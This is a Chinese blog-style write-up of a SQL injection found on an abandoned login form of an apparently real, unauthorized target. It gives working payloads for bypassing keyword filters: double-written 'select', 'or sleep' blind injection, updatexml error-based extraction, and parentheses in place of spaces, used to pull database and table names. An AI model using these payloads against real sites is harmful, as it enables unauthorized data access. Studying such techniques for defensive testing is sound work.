在无聊挖洞过程中发现一处站点存在废弃的登录框,于是抓包想找一下登录接口有没有什么洞 登录处抓包发现单引号会报错,出现了sql语句 尝试联合注入1’union select 1,2,3# 发现select被过滤了,我们尝试双写绕过一下 1’union selselectect 1,2,3# 成功,提示列数不对应,当尝试到14列的时候发现页面正常,确认共有14列 但此时14列中均无回显点,尝试一下盲注 先尝试最基本的1‘and sleep(10)# 很明显and被过滤了尝试下双写也不行,尝试-1‘or sleep(10)#成功延迟了10秒回显,说明盲注可行。 继续尝试判断数据库长度: -1' or if((length(database())>10,sleep(5),1)# 发现>被过滤了 后又测试发现=也被过滤了,尝试使用in关键字-1 or substr(username,1,1) in ('a')%23 没想到in也被过滤了,双写也不行的那种。这里考虑了很久唯一离得开=<>和and的盲注语句只有1 or strcmp(ascii(substr(username,1,1)),117)#,可他在这个环境下不引起任何报错也不会有回显。 那么继续尝试报错注入: 由于select被过滤所以这里双写select 'or(selselectect updatexml(1,concat(0x7e,(seselectlect database())),0x7e)) 成功通过报错注入得到数据库名 想着继续查数据表(双写select,=用like替换) 'or(seselectlect updatexml(1,concat(0x7e,(selselectect group_concat(table_name)from information_schema.tables where table_schemalikedatabase())),0x7e))%23 但此时where被过滤了,尝试双写无果。 思索了片刻后发现这里不小心复制的是and的语句,但这里的and完整显示出来了,可能的情况就是他过滤的不是and而是%20and%20这种格式,那么我可以猜测where也是连同两边的%20(空格)一起过滤掉的,于是把语句修改为如下,用()替换%20: 'and(selselectect%20updatexml(1,concat(0x7e,(selselectect%20group_concat(table_name)from(information_schema.tables)where(table_schema)like%20database())),0x7e))%23 成功绕过得到所有表名 其实细想来前面的所有过滤都可能只是为了防止sql注入又尽量不干涉用户的注册名做的针对%20xxx%20的格式进行的过滤,使用()代替空格也能绕过前面其他手法的注入。   那么后面的爆列名爆字段方法大同小异,本次仅为学习测试,不再进行后续操作。

总结:

在遇到SQL注入或XSS注入需要绕过时,若非为了效率的话,可以多尝试不同的思路,每一次实践都是学习的过程。